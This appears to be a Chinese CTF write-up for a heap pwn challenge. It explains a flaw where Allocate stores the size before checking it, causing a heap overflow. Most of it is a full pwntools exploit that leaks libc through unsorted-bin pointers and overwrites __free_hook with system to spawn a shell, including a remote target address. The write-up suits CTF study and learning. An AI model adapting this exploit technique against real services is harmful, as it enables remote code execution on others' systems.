这题实在可惜,差这一个进线下来着,是我太拉了。
还是题做少了,思路不敏感。
思路:
Allocate函数里
可以看到,这里是先写入 size 到 size 数组,然后再 check ,而且就算 check 不过,也不会退出,这就实现了堆溢出。
#coding:utf-8
from pwn import *
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
context.log_level ='debug'
test =1
if test == 1 :
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('113.201.14.253','21111')
libc = ELF('./libc-2.27.so')
def add(idx,size,payload):
sla('>>\n',str(1))
sla('idx?\n',str(idx))
sla('size?\n',str(size))
sa('content?\n',payload)
def add_size(idx,size):
sla('>>\n',str(1))
sla('idx?\n',str(idx))
sla('size?\n',str(size))
def free(idx):
sla('>>\n',str(2))
sla('idx?\n',str(idx))
def edit(idx,size,payload):
sla('>>\n',str(3))
sla('idx?\n',str(idx))
sla('size?\n',str(size))
p.sendafter('content?\n',payload)
def show(idx):
sla('>>\n','4')
sla('idx?\n',str(idx))
for i in range(10):
add(i,0x100,'ssss')
for i in range(7):
free(i)
free(8)
add_size(7,0x408)
#gdb.attach(p)
edit(7,0x110,'a'*0x110)
#gdb.attach(p)
show(7)
leak_addr=uu64()
print('leak_addr:',hex(leak_addr))
#gdb.attach(p)
main_arena=leak_addr-96
malloc_hook=main_arena-0x10
print('main_arena:',hex(main_arena))
#gdb.attach(p)
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base:',hex(libc_base))
print('malloc_hook:',hex(malloc_hook))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
print('free_hook:',hex(free_hook))
print('system:',hex(system))
add(1,0x100,'a')
add(2,0x100,'b')
free(1)
add_size(2,0x408)
edit(2,0x130,b'\x00'*0x100+p64(0)+p64(0x110)+p64(free_hook))
add(1,0x100,'/bin/sh\x00')
add(3,0x100,p64(system))
free(1)
p.interactive()